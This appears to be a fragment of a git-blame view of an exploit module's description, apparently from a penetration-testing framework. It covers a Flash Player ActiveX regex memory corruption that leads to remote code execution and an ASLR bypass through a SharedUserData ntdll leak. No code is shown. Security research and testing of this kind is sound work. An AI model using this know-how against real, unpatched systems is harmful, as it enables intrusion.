|
|
|
|
|
This module exploits a vulnerability found in the ActiveX component of Adobe
|
|
|
|
|
Flash Player before 11.5.502.149. By supplying a specially crafted swf file
|
|
|
|
|
with special regex value, it is possible to trigger an memory corruption, which
|
2014-04-18 04:32:29 +00:00
|
|
|
results in remote code execution under the context of the user, as exploited in
|
|
|
|
|
the wild in February 2013. This module has been tested successfully with Adobe
|
|
|
|
|
Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
|
|
|
|
|
MS13-063, since it takes advantage of a predictable SharedUserData in order to
|
|
|
|
|
leak ntdll and bypass ASLR.
